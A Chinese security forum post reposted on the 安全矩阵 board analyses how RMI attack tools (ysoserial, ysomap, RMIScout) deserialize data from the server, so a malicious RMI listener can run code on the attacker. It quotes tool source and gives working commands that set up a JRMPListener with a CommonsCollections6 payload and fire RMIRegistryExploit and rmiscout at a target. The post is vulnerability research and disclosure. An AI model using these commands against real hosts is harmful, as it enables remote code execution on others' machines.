安全矩阵

 找回密码
 立即注册
搜索
查看: 2783|回复: 0

反序列化小子捕获器-反制ysoserial

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-11-24 11:09:50 | 显示全部楼层 |阅读模式
原文链接:反序列化小子捕获器-反制ysoserial

前言
这个反制的场景非常容易想到,因为很多反序列化的漏洞也都有利用到这个流程,只不过现在将其用到了反制上而已。当然这个估计也有很多师傅写过,也不算是个秘密,不过既然白白白师傅最近在星球提到了这个,那就发出来给JB小子们提个醒避避雷吧。
毕竟,都快改名叫反制回忆录了(大雾
正文
之前分析RMI的时候,发现RMI的调用过程里在客户端和服务端都会触发反序列化,当然具体很复杂,简略了下大概是这么个流程:



随着JDK版本更新,服务端的反序列化点基本都被修复了,但客户端的反序列化点并没有修复。也就是说如果调用了JDK原生的RMI客户端相关调用,连接恶意服务端时就会在客户端触发反序列化,此时如果客户端存在有漏洞的依赖库就会导致代码执行。
这个场景好像很难实现,因为现在RMI很少见。但对安全人员来说,在做渗透测试时,如果发现目标开放了对应的端口,一般还是会打一下试试。流程变成这样:


如果一个安全工具存在上面的问题,在攻击一个假冒的RMI服务时就会导致自身被反打。这个过程简单来说就是这样:
  •          搭建一个恶意rmi服务器,监听1099端口,很容易就被扫除rmi反序列化漏洞
  •         jb小子见状立刻敲起命令使用ysoserial打rmi的反序列化payload
  •         恶意rmi服务器对其注入客户端反序列化代码
  •         jb小子反变肉鸡上线了

那么看下常见的攻击RMI的安全工具有没有这种问题。
ysoserial上来先看看Java安全神器ysoserial里和RMI有关的exp。yso里面大部分都是本地生成payload,但也有一些打远程服务的,比如RMIRegistryExploit
  1. public static void main(final String[] args) throws Exception {
  2.   final String host = args[0];
  3.   final int port = Integer.parseInt(args[1]);
  4.   final String command = args[3];
  5.   Registry registry = LocateRegistry.getRegistry(host, port);
  6.   final String className = CommonsCollections1.class.getPackage().getName() +  "." + args[2];
  7.   final Class<? extends ObjectPayload> payloadClass = (Class<? extends ObjectPayload>) Class.forName(className);

  8.   // test RMI registry connection and upgrade to SSL connection on fail
  9.   try {
  10.    registry.list();
  11.   } catch(ConnectIOException ex) {
  12.    registry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory());
  13.   }

  14.   // ensure payload doesn't detonate during construction or deserialization
  15.   exploit(registry, payloadClass, command);
  16. }

  17. public static void exploit(final Registry registry,
  18.    final Class<? extends ObjectPayload> payloadClass,
  19.    final String command) throws Exception {
  20.   new ExecCheckingSecurityManager().callWrapped(new Callable<Void>(){public Void call() throws Exception {
  21.    ObjectPayload payloadObj = payloadClass.newInstance();
  22.             Object payload = payloadObj.getObject(command);
  23.    String name = "pwned" + System.nanoTime();
  24.    Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);
  25.    try {
  26.     registry.bind(name, remote);
  27.    } catch (Throwable e) {
  28.     e.printStackTrace();
  29.    }
  30.    Utils.releasePayload(payloadObj, payload);
  31.    return null;
  32.   }});
  33. }
复制代码


看到了registry.list和registry.bind,这两处就是调用的原生的RegistryImpl_Stub,会触发UnicastRef#invoke->StreamRemoteCall#executeCall导致反序列化,这里就有反序列化点了。
调用链自然也没啥问题,毕竟ysoserial算是天底下反序列化链最多的地方了。感觉就像个弹药库把自己给炸了。
所以攻击很简单,就用JRMPListener在1099端口(RMI注册中心默认端口)起一个恶意服务端,原汤化原食了属于是:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 calc.exe
然后客户端扮演jb小子,nmap扫完看见1099开了直接打:
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit ip 1099 CommonsCollections6 whoami
喜提计算器。
很奇怪的是在另一个攻击rmi的脚本ysoserial/exploit/JRMPClient.java里
  1. /**
  2. * Generic JRMP client
  3. *
  4. * Pretty much the same thing as {@link RMIRegistryExploit} but
  5. * - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener)
  6. * - not deserializing anything (so you don't get yourself exploited ;))
  7. *
  8. * @author mbechler
  9. *
  10. */
复制代码


注释里特意写了not deserializing anything,说明开发者是想到过反打的问题的,但不知道为什么没有注意到另一处。
顺带一提,恶意服务器如果在实现时触发了反序列化一样是会被攻击的,只不过这种场景少了点。
ysomapysomap是wh1t3p1g大师傅开发的Java反序列化辅助工具,和ysoserial相比可以更细化的修改payload,但是用着比较麻烦,研究了半天也没咋用明白。
同样这个工具也提供了攻击RMI registry的功能,看一下这部分实现,在ysomap/exploits/rmi/component/Naming.java
  1. public static Remote lookup(Registry registry, Object obj)
  2.             throws Exception {
  3.         RemoteRef ref = (RemoteRef) ReflectionHelper.getFieldValue(registry, "ref");
  4.         long interfaceHash = (long) ReflectionHelper.getFieldValue(registry, "interfaceHash");
  5.         java.rmi.server.Operation[] operations = (Operation[]) ReflectionHelper.getFieldValue(registry, "operations");
  6.         java.rmi.server.RemoteCall call = ref.newCall((java.rmi.server.RemoteObject) registry, operations, 2, interfaceHash);
  7.         try {
  8.             try {
  9.                 java.io.ObjectOutput out = call.getOutputStream();
  10.                 //反射修改enableReplace
  11.                 ReflectionHelper.setFieldValue(out, "enableReplace", false);
  12.                 out.writeObject(obj); // arm obj
  13.             } catch (java.io.IOException e) {
  14.                 throw new java.rmi.MarshalException("error marshalling arguments", e);
  15.             }
  16.             ref.invoke(call);
  17.             return null;
  18.         } catch (RuntimeException | RemoteException | NotBoundException e) {
复制代码


重写了lookup,调用了JDK原生的ref.invoke,那么一样是有反打的问题的。
没太用明白,大概是这么用吧:
  1. use exploit RMIRegistryExploit
  2. use payload RMIConnectWrappedWithProxy
  3. use bullet RMIConnectBullet
  4. set target ip:1099
  5. set rhost ip2
  6. run
复制代码


服务端一样是JRMPListener,一样打cc就行。计算器x2。
RMIScoutRMIScout也是一个攻击RMI的工具,看了下这个工具重点支持攻击服务端的方式,也就是通过爆破远程方法签名攻击服务端,portswigger也宣传过这个工具https://portswigger.net/daily-sw ... for-vulnerabilities
在rmiscout/RMIConnector.java一样是看到了原生的registry.list
  1. public RMIConnector(String host, int port, String remoteName, List<String> signatures, boolean allowUnsafe, boolean isActivationServer) {
  2.         try {
  3.             this.host = host;
  4.             this.allowUnsafe = allowUnsafe;
  5.             this.signatures = signatures;
  6.             this.isActivationServer = isActivationServer;
  7.             String[] regNames = null;
  8.             isSSL = false;

  9.             try {
  10.                 // Attempt a standard cleartext connection
  11.                 this.registry = LocateRegistry.getRegistry(host, port);
  12.                 regNames = registry.list();
复制代码


这个工具的攻击实际是依赖ysoserial实现的,那么一样会被反打
java -jar rmiscout-1.4-SNAPSHOT-all.jar list ip 1099
计算器x3
其他工具常见的攻击RMI的还有个经典工具BaRMIe,实际上它的攻击流程也会触发反序列化,但是这个工具并不是用加载依赖的方式来生成payload的,而是直接写死的。那么没有依赖库,反序列化也很难打本地的链了。
另外metasploit也有对应的exp,完全基于ruby实现的,自然不会有Java反序列化的问题,还是msf懂安全。


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-23 00:16 , Processed in 0.015255 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表